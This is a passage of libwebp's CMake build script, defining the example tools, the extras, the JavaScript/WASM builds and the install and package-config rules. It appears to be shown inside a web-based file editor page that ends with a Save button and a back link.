  target_include_directories(img2webp PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/src)
  install(TARGETS img2webp RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR})
endif()

if(WEBP_BUILD_VWEBP)
  # vwebp
  find_package(GLUT)
  if(GLUT_FOUND)
    parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/examples &quot;VWEBP_SRCS&quot; &quot;vwebp&quot;)
    add_executable(vwebp ${VWEBP_SRCS})
    target_link_libraries(
      vwebp
      ${OPENGL_LIBRARIES}
      exampleutil
      GLUT::GLUT
      imageioutil
      webp
      webpdemux)
    target_include_directories(
      vwebp PRIVATE ${GLUT_INCLUDE_DIR} ${CMAKE_CURRENT_BINARY_DIR}/src
                    ${OPENGL_INCLUDE_DIR})
    install(TARGETS vwebp RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR})
    if(${CMAKE_SYSTEM_NAME} STREQUAL &quot;Darwin&quot;)
      check_c_compiler_flag(&quot;-Wno-deprecated-declarations&quot; HAS_NO_DEPRECATED)
      if(HAS_NO_DEPRECATED)
        target_compile_options(vwebp PRIVATE &quot;-Wno-deprecated-declarations&quot;)
      endif()
    endif()
  endif()
endif()

if(WEBP_BUILD_WEBPINFO)
  # webpinfo
  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/examples &quot;WEBPINFO_SRCS&quot;
                    &quot;webpinfo&quot;)
  add_executable(webpinfo ${WEBPINFO_SRCS})
  target_link_libraries(webpinfo exampleutil imageioutil)
  target_include_directories(webpinfo PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/src)
  install(TARGETS webpinfo RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR})
endif()

if(WEBP_BUILD_WEBPMUX)
  # webpmux
  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/examples &quot;WEBPMUX_SRCS&quot;
                    &quot;webpmux&quot;)
  add_executable(webpmux ${WEBPMUX_SRCS})
  target_link_libraries(webpmux exampleutil imageioutil libwebpmux webp)
  target_include_directories(webpmux PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/src)
  install(TARGETS webpmux RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR})
endif()

if(WEBP_BUILD_EXTRAS)
  set(EXTRAS_MAKEFILE &quot;${CMAKE_CURRENT_SOURCE_DIR}/extras&quot;)
  parse_makefile_am(${EXTRAS_MAKEFILE} &quot;WEBP_EXTRAS_SRCS&quot; &quot;libwebpextras_la&quot;)
  parse_makefile_am(${EXTRAS_MAKEFILE} &quot;GET_DISTO_SRCS&quot; &quot;get_disto&quot;)
  parse_makefile_am(${EXTRAS_MAKEFILE} &quot;WEBP_QUALITY_SRCS&quot; &quot;webp_quality&quot;)
  parse_makefile_am(${EXTRAS_MAKEFILE} &quot;VWEBP_SDL_SRCS&quot; &quot;vwebp_sdl&quot;)

  # libextras
  add_library(extras STATIC ${WEBP_EXTRAS_SRCS})
  target_link_libraries(extras PUBLIC webp PRIVATE webpdspdecode)

  # get_disto
  add_executable(get_disto ${GET_DISTO_SRCS})
  target_link_libraries(get_disto imagedec)
  target_include_directories(get_disto PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/src)

  # webp_quality
  add_executable(webp_quality ${WEBP_QUALITY_SRCS})
  target_link_libraries(webp_quality exampleutil imagedec extras)
  target_include_directories(webp_quality PRIVATE ${CMAKE_CURRENT_BINARY_DIR})

  # vwebp_sdl
  find_package(SDL2 QUIET)
  if(WEBP_BUILD_VWEBP AND SDL2_FOUND)
    add_executable(vwebp_sdl ${VWEBP_SDL_SRCS})
    target_link_libraries(vwebp_sdl ${SDL2_LIBRARIES} imageioutil webp)
    target_include_directories(vwebp_sdl PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/src
                                                 ${SDL2_INCLUDE_DIRS})
    set(WEBP_HAVE_SDL 1)
    target_compile_definitions(vwebp_sdl PUBLIC WEBP_HAVE_SDL)

    set(CMAKE_REQUIRED_INCLUDES &quot;${SDL2_INCLUDE_DIRS}&quot;)
    check_c_source_compiles(
      &quot;
        #define SDL_MAIN_HANDLED
        #include \&quot;SDL.h\&quot;
        int main(void) {
          return 0;
        }
      &quot;
      HAVE_JUST_SDL_H)
    set(CMAKE_REQUIRED_INCLUDES)
    if(HAVE_JUST_SDL_H)
      target_compile_definitions(vwebp_sdl PRIVATE WEBP_HAVE_JUST_SDL_H)
    endif()
  endif()
endif()

if(WEBP_BUILD_WEBP_JS)
  # The default stack size changed from 5MB to 64KB in 3.1.27. See
  # https://crbug.com/webp/614.
  if(EMSCRIPTEN_VERSION VERSION_GREATER_EQUAL &quot;3.1.27&quot;)
    # TOTAL_STACK size was renamed to STACK_SIZE in 3.1.27. The old name was
    # kept for compatibility, but prefer the new one in case it is removed in
    # the future.
    set(emscripten_stack_size &quot;-sSTACK_SIZE=5MB&quot;)
  else()
    set(emscripten_stack_size &quot;-sTOTAL_STACK=5MB&quot;)
  endif()
  find_package(SDL2 REQUIRED)
  # wasm2js does not support SIMD.
  if(NOT WEBP_ENABLE_SIMD)
    # JavaScript version
    add_executable(webp_js ${CMAKE_CURRENT_SOURCE_DIR}/extras/webp_to_sdl.c)
    target_link_libraries(webp_js webpdecoder SDL2)
    target_include_directories(webp_js PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/src)
    set(WEBP_HAVE_SDL 1)
    set_target_properties(
      webp_js
      PROPERTIES
        # Emscripten puts -sUSE_SDL2=1 in this variable, though it&#039;s needed at
        # compile time to ensure the headers are downloaded.
        COMPILE_OPTIONS &quot;${SDL2_LIBRARIES}&quot;
        LINK_FLAGS
        &quot;-sWASM=0 ${emscripten_stack_size} \
         -sEXPORTED_FUNCTIONS=_WebPToSDL -sINVOKE_RUN=0 \
         -sEXPORTED_RUNTIME_METHODS=cwrap ${SDL2_LIBRARIES} \
         -sALLOW_MEMORY_GROWTH&quot;)
    set_target_properties(webp_js PROPERTIES OUTPUT_NAME webp)
    target_compile_definitions(webp_js PUBLIC EMSCRIPTEN WEBP_HAVE_SDL)
  endif()

  # WASM version
  add_executable(webp_wasm ${CMAKE_CURRENT_SOURCE_DIR}/extras/webp_to_sdl.c)
  target_link_libraries(webp_wasm webpdecoder SDL2)
  target_include_directories(webp_wasm PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/src)
  set_target_properties(
    webp_wasm
    PROPERTIES
      # Emscripten puts -sUSE_SDL2=1 in this variable, though it&#039;s needed at
      # compile time to ensure the headers are downloaded.
      COMPILE_OPTIONS &quot;${SDL2_LIBRARIES}&quot;
      LINK_FLAGS
      &quot;-sWASM=1 ${emscripten_stack_size} \
       -sEXPORTED_FUNCTIONS=_WebPToSDL -sINVOKE_RUN=0 \
       -sEXPORTED_RUNTIME_METHODS=cwrap ${SDL2_LIBRARIES} \
       -sALLOW_MEMORY_GROWTH&quot;)
  target_compile_definitions(webp_wasm PUBLIC EMSCRIPTEN WEBP_HAVE_SDL)

  target_compile_definitions(webpdspdecode PUBLIC EMSCRIPTEN)
endif()

if(WEBP_BUILD_ANIM_UTILS)
  # anim_util
  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/examples &quot;ANIM_UTIL_SRCS&quot;
                    &quot;anim_util_[^ ]*&quot;)
  add_library(anim_util STATIC ${ANIM_UTIL_SRCS})
  target_include_directories(
    anim_util
    PUBLIC
      $&lt;BUILD_INTERFACE:${CMAKE_CURRENT_SOURCE_DIR};${CMAKE_CURRENT_BINARY_DIR}/src&gt;
      $&lt;INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}&gt;)
  target_link_libraries(anim_util PUBLIC webp GIF::GIF)

  # anim_diff
  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/examples &quot;ANIM_DIFF_SRCS&quot;
                    &quot;anim_diff&quot;)
  add_executable(anim_diff ${ANIM_DIFF_SRCS})
  target_link_libraries(
    anim_diff
    anim_util
    exampleutil
    imagedec
    imageenc
    imageioutil
    webp
    webpdemux
    GIF::GIF)
  target_include_directories(anim_diff PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/src)

  # anim_dump
  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/examples &quot;ANIM_DUMP_SRCS&quot;
                    &quot;anim_dump&quot;)
  add_executable(anim_dump ${ANIM_DUMP_SRCS})
  target_link_libraries(
    anim_dump
    anim_util
    exampleutil
    imagedec
    imageenc
    imageioutil
    webp
    webpdemux
    GIF::GIF)
  target_include_directories(anim_dump PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/src)
endif()

if(WEBP_BUILD_FUZZTEST)
  add_subdirectory(tests/fuzzer)
endif()

# Install the different headers and libraries.
install(
  TARGETS ${INSTALLED_LIBRARIES}
  EXPORT ${PROJECT_NAME}Targets
  PUBLIC_HEADER DESTINATION ${CMAKE_INSTALL_INCLUDEDIR}/webp
  INCLUDES
  DESTINATION ${CMAKE_INSTALL_INCLUDEDIR}
  ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}
  LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}
  RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR})
set(ConfigPackageLocation ${CMAKE_INSTALL_DATADIR}/${PROJECT_NAME}/cmake/)
install(EXPORT ${PROJECT_NAME}Targets NAMESPACE ${PROJECT_NAME}::
        DESTINATION ${ConfigPackageLocation})

# Create the CMake version file.
include(CMakePackageConfigHelpers)
write_basic_package_version_file(
  &quot;${CMAKE_CURRENT_BINARY_DIR}/WebPConfigVersion.cmake&quot;
  VERSION ${PACKAGE_VERSION} COMPATIBILITY AnyNewerVersion)

# Create the Config file.
include(CMakePackageConfigHelpers)
# Fix libwebpmux reference. The target name libwebpmux is used for compatibility
# purposes, but the library mentioned in WebPConfig.cmake should be the
# unprefixed version. Note string(...) can be replaced with list(TRANSFORM ...)
# if cmake_minimum_required is &gt;= 3.12.
string(REGEX REPLACE &quot;libwebpmux&quot; &quot;webpmux&quot; INSTALLED_LIBRARIES
                     &quot;${INSTALLED_LIBRARIES}&quot;)

if(MSVC)
  # For compatibility with nmake, MSVC builds use a custom prefix (lib) that
  # needs to be included in the library name.
  string(REGEX REPLACE &quot;[A-Za-z0-9_]+&quot; &quot;${CMAKE_STATIC_LIBRARY_PREFIX}\\0&quot;
                       INSTALLED_LIBRARIES &quot;${INSTALLED_LIBRARIES}&quot;)
endif()

configure_package_config_file(
  ${CMAKE_CURRENT_SOURCE_DIR}/cmake/WebPConfig.cmake.in
  ${CMAKE_CURRENT_BINARY_DIR}/WebPConfig.cmake
  INSTALL_DESTINATION ${ConfigPackageLocation}
  PATH_VARS CMAKE_INSTALL_INCLUDEDIR)

# Install the generated CMake files.
install(FILES &quot;${CMAKE_CURRENT_BINARY_DIR}/WebPConfigVersion.cmake&quot;
              &quot;${CMAKE_CURRENT_BINARY_DIR}/WebPConfig.cmake&quot;
        DESTINATION ${ConfigPackageLocation})

# Install the man pages.
set(MAN_PAGES
    cwebp.1
    dwebp.1
    gif2webp.1
    img2webp.1
    vwebp.1
    webpmux.1
    webpinfo.1)
set(EXEC_BUILDS
    &quot;CWEBP&quot;
    &quot;DWEBP&quot;
    &quot;GIF2WEBP&quot;
    &quot;IMG2WEBP&quot;
    &quot;VWEBP&quot;
    &quot;WEBPMUX&quot;
    &quot;WEBPINFO&quot;)
list(LENGTH MAN_PAGES MAN_PAGES_LENGTH)
math(EXPR MAN_PAGES_RANGE &quot;${MAN_PAGES_LENGTH} - 1&quot;)

foreach(I_MAN RANGE ${MAN_PAGES_RANGE})
  list(GET EXEC_BUILDS ${I_MAN} EXEC_BUILD)
  if(WEBP_BUILD_${EXEC_BUILD})
    list(GET MAN_PAGES ${I_MAN} MAN_PAGE)
    install(FILES ${CMAKE_CURRENT_SOURCE_DIR}/man/${MAN_PAGE}
            DESTINATION ${CMAKE_INSTALL_MANDIR}/man1 COMPONENT doc)
  endif()
endforeach()
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Flibwebp'>🔙 Back</a></p>